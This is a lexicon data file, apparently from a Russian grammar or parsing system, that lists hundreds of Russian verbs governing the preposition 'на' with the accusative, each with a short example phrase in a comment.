rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
